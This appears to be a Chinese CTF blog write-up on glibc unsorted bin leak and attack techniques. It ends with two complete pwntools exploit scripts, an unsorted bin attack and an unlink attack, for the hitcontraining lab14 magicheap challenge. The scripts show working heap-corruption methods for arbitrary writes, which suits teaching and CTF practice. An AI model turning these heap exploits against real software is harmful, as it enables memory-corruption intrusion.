hitcontraining_lab14学习(以及Unsorted Bin的个人理解

Unsorted Bin Attacks

基础知识
首先我们要知道unsorted bin的解释以及使用场景,这里我就先贴上ctf-wiki上面的解释

概述

  1. Unsorted Bin Attack,顾名思义,该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关。
  2. Unsorted Bin Attack 被利用的前提是控制 Unsorted Bin Chunk 的 bk 指针。
  3. Unsorted Bin Attack 可以达到的效果是实现修改任意地址值为一个较大的数值。

基本来源

  1. 当一个较大的 chunk 被分割成两半后,如果剩下的部分大于 MINSIZE,就会被放到 unsorted bin 中。
  2. 释放一个不属于fast bin 的 chunk,并且该 chunk 不和 top chunk 紧邻时,该 chunk 会被首先放到 unsorted bin 中。关于 top chunk 的解释,请参考下面的介绍。
  3. 当进行 malloc_consolidate 时,可能会把合并后的 chunk 放到 unsorted bin 中,如果不是和 top chunk 近邻的话。

基本使用情况

  1. Unsorted Bin 在使用的过程中,采用的遍历顺序是 FIFO,即插入的时候插入到 unsorted bin的头部,取出的时候从链表尾获取。
  2. 在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小chunk,就会尝试从 Unsorted Bin 中寻找 chunk。如果取出来的 chunk大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。

从中我们可以知道unsortedbin的一些基础知识,从中我们知道其与fastbin不同,是双链表构成的,并且在链表上面是遵循FIFO(First In First Out),而由于我这还是初学,所以其来源考虑的并不是很多,即free掉chunk时归入到unsortedbin这种情况/
在这里主要的对于unsortedbin漏洞的利用主要有两方面,即leak以及attack,我将在下面分别讲解。

Unsorted bin leak

这里我们还是需要点基础知识的啦{:1_918:},那就是main_arena的结构分布,其在正常情况下是处于你这个二进制文件所依赖运行库里面的.data段之中的,他的大致分布如下,这是我找的网图
在这里插入图片描述

这里的图是我嫖的呆毛师傅的(顺便我来说一句,fate真好看,虽然剧情看不明白,但是打斗帅啊),呆毛师傅讲的pwn比我好多了这里附上链接
从零开始的Linux堆利用(六)——Unsortedbin Attack
https://www.52pojie.cn/thread-1467962-1-1.html
(出处: 吾爱破解论坛)

而这个是我截的原图奥┗|`O′|┛ 嗷~~,大伙也可以在pwndbg里面运用这个指令查看结构体情况
在这里插入图片描述

从结构图中可以看到main_arena中fastbins和smallbins之间存在一个0x16大小的连个熟悉的字眼,也就是unsortedbin的fd以及bk,上面的0x90,0xa0一些的先不管,因为我也没学到
而这两者(即fd与bk)他是满足一个循环双链表的结构的,说到这里我就得画个图了
下图是main_arena初始时的状态,也就是双循环链表时的形式,这里的黑线是fd指针指的方向,而bk是红线表示,这里我们可以看到main_arena的初始情况就是分别指向了unsortedbin_addr-0x10的地址,他其实就是将这里看做了一个块,所以需要减去0x10,也就是prev_size位与size位
在这里插入图片描述

我们再来看看调试情况,这样可以证实我们理论上的观点,发现van全一致。
在这里插入图片描述

下面这幅图也就是根据fifo画出的对应图,我们这里分配0x88是为了越过fastbin的收纳,当free的时候直接进入unsortedbins,可以看出我们入链表的时候是用头插法,然后取链表的时候即使用的是尾节点。
在这里插入图片描述

接下来就讲解我们的leak内容,其中我们先来构造一下unsortbin情况
在这里插入图片描述

这里我们分配了三个堆块,第三个堆块是防止unlink与topchunk合并,我们这里打开调试看看。
在这里插入图片描述

这里我们清楚的看到,在free后我们free块的fd以及bk都变成了main_arena中unsortedbin的两个地址,而main_arena中所对应unsortedbin的fd与bk也纷纷都指向了第二个堆块,我们这里再将其申请回来试试看
在这里插入图片描述

在这里插入图片描述
从中可以看到我们只是覆盖了fd,而并没有将他清0,所以我们这里就可以干脆传个空字符串,然后如果发现程序里面有类似于show功能的函数就可以直接知道main_arena中固定偏移的地址,也就知道了libc的基地址了。其具体计算方法也就是:在libc中你可以仅仅通过他的符号表知道malloc_hook的偏移,而他的偏移一般与main_arena的地址相差0x10所以可以通过其来算出main_arena在libc文件中的偏移,因此也可以计算出libc基地址了。

Unsorted bin Attack

leak是不是很easy?接下来我们来看看attack的利用方式,其大致思路我觉得可以归结于unlink那种类型,但又并不能完全等同

/* remove from unsorted list */
if (__glibc_unlikely (bck->fd != victim))
  malloc_printerr ("malloc(): corrupted unsorted chunks 3");
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

这里先写上init_malloc中的一段代码。这里的极简化版本就是,你头节点的bk指针会变成你所申请块的bk指针,而由于我们可以构造所释放块的bk,所以这里可以将main_arena的bk指针修改成我所想要的。
而这只是attack攻击的余波而已,他真正的目的是我们所构造的fd指针所指向的位置,也就是p->bk ,他其中的值会修改成main_arena的值,接下来我从图的角度来跟大家讲解。
在这里插入图片描述

首先我们来构造fake_chunk,其在图上可以反应为在这俩货中间加了一个虚假的chunk块,这样我们释放的时候就会使得fake块的fd指针要指向main_arena中unsortedbin的地方,所以就构成了任意写。这里注意由于unsortedbin在低版本时没有对于fake_chunk进行检验确定其是否属于双链表成员,所以对于其fd与bk我们只用管他的fd即可。
这里我们可以这么理解,我真正块的bk位是指向的fake_chunk,所以程序默认fake_chunk的bk是指向main_arena中的,这时根据unlink类似的思路,程序认为只需要改变fake_chunk的fd(因为程序认为这个fd本身指向了将要free的那个块),所以就将fake_fd指向了main_arena
在这里插入图片描述

大伙可以用代码来实现一下。
接下来咱们来做做题

hitcontraining_lab14

依然先检查保护
在这里插入图片描述

看起来还行,毕竟没开pie,接下来深入逻辑
在这里插入图片描述

我这里就给大伙简单叙述一下,常规的菜单题,edit分配有无限写的漏洞,给定size任意填充,然后就是分配的各个块都在bss段上知道地址,然后查看的时候发现有个l33t函数,这里就是说我们要使得magic的值大于4869即可获取flag,而这个在bss段上
在这里插入图片描述

但是我看着看着发现,这不明显unlink嘛,于是我先用unlink做了一遍,行云流水(其实是这题是真简单)。unlink的exp我会也放在后面,但别忘了今天咱们是来联系unsortedbin的。
这里我们首先申请三个堆块,堆块2是用来隔离堆块1的
在这里插入图片描述

然后我们先释放块1,由于其堆块大小位0x90,所以将其放入unsortedbins,这时候我们通过edit函数的任意写漏洞,将块1的bk修改为magic的地址再减去0x10,因为我们的bk是指向块首,也就是prev_size占的那块,然而我们真正能修改的是fake块的fd指针,所以我们要保持这个fd指针和magic是同一地址,我们从ida静态调试可以发现magic地址位于0x6020c0
在这里插入图片描述
在这里插入图片描述

这个0xdeadbeef没什么具体含义,这里只是为了方便观察,我看好多师傅都在用我就也用用;www。
经过基础知识的学习我们了解到fake_chunk的fd指针就会改变为main_arena中unsortedbin的地址,我们调试发现果然如此,大成功!
在这里插入图片描述

这个例子比较简单,但是对于unsortedbin attack学习的帮助还是很直观的
最后附上unsorted attack的exp,以及unlink的exp(如果unlink不熟悉可以看我上篇哈,我把自己的见解都说出来了)

from pwn import *
io = process('./magicheap0')
libc = ELF('/home/eclipse/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
heaparray_0 = 0x6020e0
heaparray_1 = 0x6020e8
heaparray_2 = 0x6020f0
heaparray_3 = 0x6020f8
context.log_level = 'INFO'
def create(size,content):
    io.recvuntil("Your choice :")
    io.sendline('1')
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap:")
    io.sendline(content)

def edit(index,size,content):
    io.recvuntil("Your choice :")
    io.sendline('2')
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap : ")
    io.sendline(content)


def delete(index):
    io.recvuntil("Your choice :")
    io.sendline('3')
    io.recvuntil("Index :")
    io.sendline(str(index))


def exit_use():
    io.recvuntil("Your choice :")
    io.sendline('4869')


create(0x88,'aaaa')                                                     #chunk 0
create(0x88,'bbbbb')                                                    #chunk 1
create(0x20,'cccc')                                                     #chunk 2    precaution not to consolidate with the top chunk

delete(1)                                   #put in the unsortedbin
payload = b'a' * 0x88 + p64(0x91) + p64(0xdeadbeef) + p64(0x6020b0)
edit(0,len(payload),payload)
create(0x88,'')
exit_use()

然后就是unlink的exp

from pwn import *
io = process('./magicheap0')
libc = ELF('/home/eclipse/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
heaparray_0 = 0x6020e0
heaparray_1 = 0x6020e8
heaparray_2 = 0x6020f0
heaparray_3 = 0x6020f8
context.log_level = 'INFO'
def create(size,content):
    io.recvuntil("Your choice :")
    io.sendline('1')
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap:")
    io.sendline(content)

def edit(index,size,content):
    io.recvuntil("Your choice :")
    io.sendline('2')
    io.recvuntil("Index :")
    io.sendline(str(index))
    io.recvuntil("Size of Heap : ")
    io.sendline(str(size))
    io.recvuntil("Content of heap : ")
    io.sendline(content)


def delete(index):
    io.recvuntil("Your choice :")
    io.sendline('3')
    io.recvuntil("Index :")
    io.sendline(str(index))


def exit_use():
    io.recvuntil("Your choice :")
    io.sendline('4869')


create(0x88,'aaaa')                                                     #chunk 0
create(0x88,'bbbbb')                                                    #chunk 1
create(0x88,'ccccc')                                                    #chunk 2
create(0x88,'ddddd')                                                    #chunk 3
create(0x88,'eeeee')                                                    #chunk 4

#unlink
fd = heaparray_3 - 0x18
bk = heaparray_3 - 0x10

payload = b'\x00'*8 + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90)
edit(3,0x90,payload)                                                    #fake_chunk
#gdb.attach(io)
delete(4)                                                               #use unlink
#FD = P-fd
#BK - p->bk
#FD = p-bk-fd
#BK = p-fd-bk

#change the chunk 3 , in fact , it can change the chunk_0's content
free_addr = libc.sym['free']
payload2 = b'' + p64(free_addr)
edit(3,8,p64(0x6020c0))

#edit the chunk 0 , in addition to change the maggic
edit(0,8,p64(4870))

exit_use()

io.interactive()

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
快速块(fast bin)、小型块(small bin)、未排序块(unsorted bin)和大型块(large bin)是堆管理中不同的内存块分类。它们有一些区别和共同点,如下所示: 区别: 1. 大小范围:快速块是一组固定大小的小块,通常用于快速分配和释放小型对象;小型块是一组尺寸逐渐增大的内存块,用于中等大小的对象;未排序块是不同尺寸的内存块,用于中等和大型对象;大型块是较大的内存块,通常用于分配较大的对象。 2. 管理方式:快速块和小型块使用特定的数据结构(如双向链表或位图)来管理内存块;未排序块和大型块使用不同的数据结构(如双向链表)来管理内存块。 3. 分配策略:快速块通常通过简单的指针移动来分配和释放内存块,具有较低的开销;小型块和未排序块通常采用更复杂的算法来选择合适的内存块进行分配和释放;大型块通常通过系统调用来分配和释放内存。 共同点: 1. 都是用于管理堆中的内存块,以支持动态内存分配和释放操作。 2. 都涉及内存块的分配、释放和管理,以提高内存使用效率和减少碎片。 3. 都使用特定的数据结构来组织和管理内存块,以便快速查找可用的内存块。 这些块分类是堆管理中常见的策略,旨在根据对象的大小和使用模式来优化内存分配和释放的性能。具体的实现可能会因不同的堆管理算法而有所不同。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值